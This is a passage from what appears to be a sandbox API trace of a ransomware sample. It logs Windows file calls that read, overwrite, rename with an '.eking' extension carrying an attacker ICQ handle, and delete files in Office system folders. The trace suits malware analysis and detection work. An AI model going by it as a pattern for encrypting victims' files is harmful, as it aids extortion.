dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0281.550] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=635040) returned 1 [0281.550] CloseHandle (hObject=0x308) returned 1 [0281.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll")) returned 0x20 [0281.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll")) returned 0x20 [0281.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0281.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.552] SetEvent (hEvent=0x2a0) returned 1 [0281.553] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0281.554] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=963240) returned 1 [0281.554] CloseHandle (hObject=0x300) returned 1 [0281.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll")) returned 0x20 [0281.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll")) returned 0x20 [0281.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0281.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.559] SetEvent (hEvent=0x2a0) returned 1 [0281.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0281.561] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=5967976) returned 1 [0281.561] CloseHandle (hObject=0x300) returned 1 [0281.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe")) returned 0x20 [0281.562] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 1 [0281.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0281.564] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f790 | out: lpNewFilePointer=0x0) returned 1 [0281.564] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f790 | out: lpNewFilePointer=0x0) returned 1 [0281.564] ReadFile (in: hFile=0x300, lpBuffer=0x36f1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x324f79c, lpOverlapped=0x0 | out: lpBuffer=0x36f1058*, lpNumberOfBytesRead=0x324f79c*=0x40000, lpOverlapped=0x0) returned 1 [0281.596] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x324f790 | out: lpNewFilePointer=0x0) returned 1 [0281.596] ReadFile (in: hFile=0x300, lpBuffer=0x3731058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x324f79c, lpOverlapped=0x0 | out: lpBuffer=0x3731058*, lpNumberOfBytesRead=0x324f79c*=0x40000, lpOverlapped=0x0) returned 1 [0281.670] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x324f790 | out: lpNewFilePointer=0x0) returned 1 [0281.671] ReadFile (in: hFile=0x300, lpBuffer=0x3771058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x324f79c, lpOverlapped=0x0 | out: lpBuffer=0x3771058*, lpNumberOfBytesRead=0x324f79c*=0x40000, lpOverlapped=0x0) returned 1 [0281.849] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f900 | out: lpNewFilePointer=0x0) returned 1 [0281.850] WriteFile (in: hFile=0x300, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0xc0112, lpOverlapped=0x0) returned 1 [0282.096] SetEndOfFile (hFile=0x300) returned 1 [0282.379] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x324f798 | out: lpNewFilePointer=0x0) returned 1 [0282.380] WriteFile (in: hFile=0x300, lpBuffer=0x37b114a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x324f7a4, lpOverlapped=0x0 | out: lpBuffer=0x37b114a*, lpNumberOfBytesWritten=0x324f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0282.383] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x324f798 | out: lpNewFilePointer=0x0) returned 1 [0282.383] WriteFile (in: hFile=0x300, lpBuffer=0x37b114a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x324f7a4, lpOverlapped=0x0 | out: lpBuffer=0x37b114a*, lpNumberOfBytesWritten=0x324f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0282.390] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f798 | out: lpNewFilePointer=0x0) returned 1 [0282.390] WriteFile (in: hFile=0x300, lpBuffer=0x37b114a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x324f7a4, lpOverlapped=0x0 | out: lpBuffer=0x37b114a*, lpNumberOfBytesWritten=0x324f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0282.392] CloseHandle (hObject=0x300) returned 1 [0282.392] SetEvent (hEvent=0x2a0) returned 1 [0282.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0282.576] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=2776664) returned 1 [0282.576] CloseHandle (hObject=0x300) returned 1 [0282.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 0x20 [0282.576] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 1 [0282.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.580] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 1 [0282.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0282.581] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=4782) returned 1 [0282.581] CloseHandle (hObject=0x300) returned 1 [0282.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 0x20 [0282.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 0x20 [0282.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0282.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0282.582] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0282.582] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0282.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x308 [0282.583] ReadFile (in: hFile=0x300, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x12ae, lpOverlapped=0x0) returned 1 [0282.591] WriteFile (in: hFile=0x308, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x12b0, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x12b0, lpOverlapped=0x0) returned 1 [0282.593] WriteFile (in: hFile=0x308, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x112, lpOverlapped=0x0) returned 1 [0282.593] CloseHandle (hObject=0x300) returned 1 [0282.593] CloseHandle (hObject=0x308) returned 1 [0282.593] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 1 [0282.595] SetEvent (hEvent=0x2a0) returned 1 [0282.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0282.596] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=4450) returned 1 [0282.596] CloseHandle (hObject=0x308) returned 1 [0282.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 0x20 [0282.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 0x20 [0282.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0282.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0282.598] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0282.598] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0282.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x300 [0282.598] ReadFile (in: hFile=0x308, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x1162, lpOverlapped=0x0) returned 1 [0282.645] WriteFile (in: hFile=0x300, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x1170, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x1170, lpOverlapped=0x0) returned 1 [0282.647] WriteFile (in: hFile=0x300, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x112, lpOverlapped=0x0) returned 1 [0282.648] CloseHandle (hObject=0x308) returned 1 [0282.648] CloseHandle (hObject=0x300) returned 1 [0282.649] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 1 [0282.651] SetEvent (hEvent=0x2a0) returned 1 [0282.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0282.652] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=1053784) returned 1 [0282.652] CloseHandle (hObject=0x300) returned 1 [0282.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll")) returned 0x20 [0282.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll")) returned 0x20 [0282.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0282.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0282.654] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=982720) returned 1 [0282.654] CloseHandle (hObject=0x300) returned 1 [0282.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 0x20 [0282.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 0x20 [0282.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0282.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0282.654] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0282.655] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0282.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x308 [0282.655] ReadFile (in: hFile=0x300, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0xefec0, lpOverlapped=0x0) returned 1 [0283.748] WriteFile (in: hFile=0x308, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0xefed0, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0xefed0, lpOverlapped=0x0) returned 1 [0285.033] WriteFile (in: hFile=0x308, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0xf2, lpOverlapped=0x0) returned 1 [0285.033] CloseHandle (hObject=0x300) returned 1 [0285.033] CloseHandle (hObject=0x308) returned 1 [0285.035] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 1 [0286.346] SetEvent (hEvent=0x2a0) returned 1 [0286.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0286.348] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=88752) returned 1 [0286.348] CloseHandle (hObject=0x2d8) returned 1 [0286.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")) returned 0x20 [0286.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")) returned 0x20 [0286.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.349] SetEvent (hEvent=0x2a0) returned 1 [0286.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0286.351] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=791421) returned 1 [0286.352] CloseHandle (hObject=0x2ec) returned 1 [0286.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0286.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0286.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.467] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=10752) returned 1 